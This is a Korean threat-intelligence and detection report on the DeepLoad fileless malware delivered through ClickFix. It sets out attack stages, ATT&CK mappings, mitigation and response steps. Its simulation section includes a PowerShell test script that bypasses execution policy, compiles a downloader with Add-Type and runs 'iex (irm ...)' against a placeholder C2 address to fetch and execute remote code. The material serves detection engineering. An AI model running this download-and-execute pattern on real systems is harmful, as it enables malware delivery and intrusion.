DeepLoad 악성코드, ClickFix 배포와 AI 생성 회피 결합
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
DeepLoad는 ClickFix 사회공학 기법을 통해 배포되는 파일리스 악성코드 계열입니다. 이는 난독화된 PowerShell 로더, 신뢰할 수 있는 Windows 프로세스에 메모리 내 쉘코드 주입, 그리고 정적 탐지 정확도를 줄이기 위한 AI 생성 “노이즈”를 이용합니다. 로더는 예약 작업 및 WMI 이벤트 구독을 사용하여 지속성을 설정하며, USB 미디어를 통해 전파되고, 가짜 브라우저 확장 프로그램 및 filemanager.exe 구성 요소를 통해 자격 증명을 탈취합니다.
조사
보고서는 희생자가 실행한 PowerShell 명령으로 시작하는 초기 액세스를 설명하며, mshta.exe를 통한 로더 검색이 그 뒤를 잇습니다. 로더는 Add-Type을 사용하여 런타임에 임시 DLL을 생성한 후, LockAppHost.exe에 APC 기반 주입을 사용하여 쉘코드를 주입합니다. 지속성은 예약된 작업 및 감추어진 WMI 이벤트 구독을 통해 유지되며, 이는 정리 후에도 감염을 재설정할 수 있습니다. 자격 증명 탈취는 filemanager.exe와 병렬로 작동하는 악성 브라우저 확장 프로그램에 의해 발생합니다.
완화
활성화 PowerShell 스크립트 블록 로깅 및 의심스러운 PowerShell 실행 체인에 대한 경고를 설정합니다. mshta.exe의 아웃바운드 네트워크 활동을 감사하고, 예기치 않은 예약 작업 생성에 대해 모니터링하며, APC 주입을 나타내는 비정상적인 QueueUserAPC 사용을 탐지합니다. 정리 중에는 파일/레지스트리 정리에만 의존하지 말고 WMI 이벤트 구독을 명확히 열거하고 제거합니다. 노출된 자격 증명을 회전하고 모든 승인되지 않은 브라우저 확장을 제거하여 자격 증명 수집 경로를 차단해야 합니다.
반응
DeepLoad 활동이 탐지되면 호스트를 격리하고 악성 PowerShell 활동을 중지하며 모든 주입된 프로세스를 종료합니다. 예약된 작업을 제거하고 관련 WMI 구독을 삭제한 다음 filemanager.exe와 악성 브라우저 확장을 제거합니다. 잠재적 손상된 자격 증명을 회전하고 연결된 USB 미디어를 정화하며 시스템을 서비스로 복귀시키기 전에 잔여 주입 아티팩트를 검증합니다.
키워드: DeepLoad, ClickFix, 파일리스 악성코드, PowerShell 로더, mshta.exe, Add-Type, 메모리 내 쉘코드, APC 주입, QueueUserAPC, LockAppHost.exe, 예약 작업 지속성, WMI 이벤트 구독, USB 전파, 악성 브라우저 확장, 자격 증명 탈취.
“graph TB
%% Class definitions
classDef action fill:#99ccff
%% Node definitions
step_user_exec[“Action – T1204.004 사용자 실행: 악성 복사 및 붙여넣기
희생자가 ClickFix를 통해 PowerShell 명령을 실행합니다.”]
class step_user_exec action
step_powershell[“Action – T1059.001 명령 및 스크립트 인터프리터: PowerShell
Invoke-Expression (IEX)을 사용하여 로더를 다운로드합니다.”]
class step_powershell action
step_mshta[“Action – T1218.005 시스템 바이너리 프로세시 실행: Mshta
mshta.exe가 원격 스크립트를 가져옵니다.”]
class step_mshta action
step_schtask[“Action – T1053 예약 작업/작업
로더를 재실행하는 지속성 작업을 만듭니다.”]
class step_schtask action
step_injection[“Action – T1055.004 프로세스 주입: 비동기 프로시저 호출
LockAppHost.exe에 쉘코드를 주입합니다.”]
class step_injection action
step_reflective[“Action – T1620 반사형 코드 로드
Add-Type을 통해 메모리 내 DLL을 컴파일합니다.”]
class step_reflective action
step_masquerade[“Action – T1036.003 가장하기: 정당한 유틸리티 이름 바꾸기
filemanager.exe와 .lnk 바로가기를 사용합니다.”]
class step_masquerade action
step_removable[“Action – T1091 이동식 미디어를 통한 복제 / T1080 공유 콘텐츠 오염시키기
USB 드라이브에 악성 바로가기를 놓습니다.”]
class step_removable action
step_wmi[“Action – T1546.003 이벤트 트리거 실행: WMI 이벤트 구독
정리 후에도 지속되며 재실행합니다.”]
class step_wmi action
step_keylog[“Action – T1056.001 입력 캡처: 키로깅
자격 증명을 위해 키 입력을 캡처합니다.”]
class step_keylog action
step_cred[“Action – T1555.003 웹 브라우저에서 자격 증명 / T1176 소프트웨어 확장
악성 브라우저 확장이 저장된 암호를 탈취합니다.”]
class step_cred action
step_valid[“Action – T1078 유효 계정
공격자가 수확된 자격 증명을 사용합니다.”]
class step_valid action
step_c2[“Action – T1102.002 양방향 웹 서비스 통신 / T1102.003 일방향
C2 채널 및 탈취.”]
class step_c2 action
%% Connections
step_user_exec –>|triggers| step_powershell
step_powershell –>|downloads via| step_mshta
step_mshta –>|executes| step_schtask
step_schtask –>|creates| step_injection
step_injection –>|injects into| step_reflective
step_reflective –>|loads| step_masquerade
step_masquerade –>|places shortcuts on| step_removable
step_removable –>|enables| step_wmi
step_wmi –>|activates| step_keylog
step_keylog –>|captures credentials for| step_cred
step_cred –>|provides| step_valid
step_valid –>|facilitates| step_c2
“
공격 흐름
탐지
이상한 최상위 도메인(TLD) DNS 요청에 의한 의심스러운 명령 및 제어 (dns를 통해)
보기
Powershell에서 의심스러운 Windows API 함수 호출 (powershell을 통해)
보기
Powershell을 통한 다운로드 또는 업로드 (cmdline을 통해)
보기
드문 포트를 사용한 HTTP를 통한 가능한 C2 통신 (프록시를 통해)
보기
mshta.exe 악용 및 APC 인젝션을 통한 DeepLoad 악성코드 탐지 [Windows 프로세스 생성]
보기
PowerShell 우회 및 Add-Type을 사용한 DeepLoad Malware 탐지 [Windows PowerShell]
보기
시뮬레이션 실행
전제 조건: Telemetry 및 Baseline 사전 비행 검사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 유발하도록 설계된 적대적인 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 서사는 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 기대되는 정확한 원격 분석을 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련이 없는 예제는 오진으로 이어질 것입니다.
-
공격 서사 및 명령:
- 초기 발판: 공격자는 피해자 호스트에서 낮은 권한의 PowerShell 세션을 가지고 있습니다.
- 실행 정책 우회: 그들은 PowerShell을 다음과 같이 호출합니다.
-ep Bypass모든 스크립트 실행 제한을 무시합니다. - .NET 페이로드 컴파일: 다음을 사용하여
Add-Type, 그들은 C2 서버에 웹 요청을 수행하는 인스턴스화 시 작은 C# 클래스를 임베드합니다 (http://10.0.0.5:3015/index). - 원격 스크립트 다운로드 및 실행: 공격자는 다음의 결과를 파이프하여
irm(Invoke‑RestMethod)iex, 메모리 내에서 악성 스크립트를 실행합니다. - 결과 원격 분석: OS에 기록된 명령줄에는 세 개의 필수 문자열이 포함되어 있습니다 (
-ep Bypass,Add-Type,iex(irm http://…:3015/index)), Sigma 규칙을 만족합니다.
-
회귀 테스트 스크립트:
# DeepLoad‑같은 악성 실행 # 이 스크립트는 Sigma 규칙을 작동시키기 위해 필요한 정확한 명령 패턴을 재현합니다. $c2 = "http://10.0.0.5:3015/index" $payload = @" using System; using System.Net; public class Loader { public static void Run() { new WebClient().DownloadString(""$c2""); } } "@ # 무시 플래그와 함께 PowerShell을 호출하고, 페이로드를 컴파일한 다음 원격 스크립트를 실행합니다 powershell -NoProfile -ExecutionPolicy Bypass -Command ` "Add-Type -TypeDefinition `$payload; ` iex (irm $c2)" -
정리 명령:
# 임시 파일이나 로드된 어셈블리(지속된 경우)를 제거합니다 Remove-Item -Path "$env:TEMPloader.dll" -ErrorAction SilentlyContinue # 선택적으로, PowerShell 전사본이 활성화된 경우에 이를 지웁니다 Clear-Host
보고서 끝